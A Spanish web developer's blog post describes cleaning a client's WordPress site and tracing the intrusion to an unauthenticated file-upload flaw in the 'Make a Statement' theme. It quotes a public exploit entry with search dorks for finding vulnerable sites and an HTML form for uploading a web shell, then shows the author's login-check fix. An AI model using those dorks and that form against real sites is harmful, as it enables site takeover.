Programador Web & SEO – Madrid

Vulnerabilidades en nuestro gestor de contenidos

vulnerabilidad - Carlos González Gurrea

vulnerabilidad - Carlos González Gurrea

A vueltas con los virus, hace cosa de 8 meses, me llamo un cliente que sin motivo aparente se habia quedado sin espacio en la web.

Al entrar, me encontre que tenian miles de ficheros subidos a su carpeta wp-content/uploads. Como por fecha sabiamos que podiamos borrar, se elimino todo, se cambio la contraseña tanto del FTP como del WordPress y se dejo la web limpia, otra vez con espacio y todo funcionando.

Al día siguiente, revise de nuevo y otra vez se habia llenado la carpeta. El cliente no habia sido, ya que el no actualiza la web, de hecho no le habiamos dado ni la nueva contraseña. Su WordPress y todos los plugins estaban actualizados.

Me tocaba investigar el problema. Despues de revisar durante horas todo el fuente no encontraba donde estaba la vulnerabilidad.

Despues de buscar y buscar llegue hasta esta web. https://wpvulndb.com/, en ella estan todas las vulnerabilidades, ademas te detallan hasta como poder explotarla.

En mi caso el cliente usaba un tema llamado, Make a statement.

En el buscador de la web, meti el nombre del tema y zas, aparecio para mi sorpresa.

Al pinchar me aparecio una página con todos los datos del exploit. Me llevo hasta esta web https://wpvulndb.com/vulnerabilities/7433 y en las referencias el dichoso Exploit (https://www.exploit-db.com/exploits/29670/).

#Title : WordPress Make A Statement Themes CSRF File Upload Vulnerability
#Author : DevilScreaM
#Date : 11/17/2013 - 17 November 2013
#Category : Web Applications
#Type : PHP
#Version : 1.x.x
#Vendor : http://themes.mas.gambit.ph/
#Greetz : 0day-id.com | newbie-security.or.id | Borneo Security | Indonesian Security
     Indonesian Hacker | Indonesian Exploiter | Indonesian Cyber
#Thanks : ShadoWNamE | gruberr0r | Win32Conficker | Rec0ded |
#Tested : Mozila, Chrome, Opera -> Windows & Linux
#Vulnerabillity : CSRF
#Dork : 
inurl:wp-content/themes/make_a_statement
inurl:wp-content/themes/make_a_statement_v1

CSRF File Upload Vulnerability
Exploit & POC : 
http://site-target/wp-content/themes/make_a_statement/library/includes/upload-handler.php
Script :
<form action="http://127.0.0.1/wp-content/themes/make_a_statement/library/includes/upload-handler.php" enctype="multipart/form-data" method="post">Your File: <input name="uploadfile" type="file" />
<input type="submit" value="upload" /></form>File Access : http://site-target/uploads/[years]/[month]/your_shell.php Example : http://127.0.0.1/wp-content/uploads/2013/11/devilscream.php

Hasta el formulario para poder subir cualquier archivo, virus, etc etc

Solución

Tenia que prevenir el uso del exploit, en mi caso modifique el archivo make_a_statement/library/includes/upload-handler.php, para que solo se pudiera utilizar en caso de estar logado.

if(is_user_logged_in()){
	if (move_uploaded_file($_FILES['uploadfile']['tmp_name'], $uploadfile)) {
	  echo $uploadname;
	} else {
	  // WARNING! DO NOT USE "FALSE" STRING AS A RESPONSE!
	  // Otherwise onSubmit event will not be fired
	  echo "error";
	}
}else{
	echo "error";
}

Como veis no me aburría, siempre luchando con los clientes.
En otro post os contaré como hacer un traspaso de webs de clientes entre servidores, uno de los proyectos que estuve trabajando fue en la migración de más de 200 páginas de clientes, todas en PHP, pero cada una realizada de una manera distinta. PHP 4.2, Laravel, Code, CakePHP, sistemas propios, PHP´s sin sentido…….

Un saludo a todos, cualquier duda ya sabéis desde las redes sociales o desde el formulario de esta misma web

Vulnerabilidades en nuestro gestor de contenidos Modificado: mayo 22nd, 2018 por Carlos González Gurrea
Salir de la versión móvil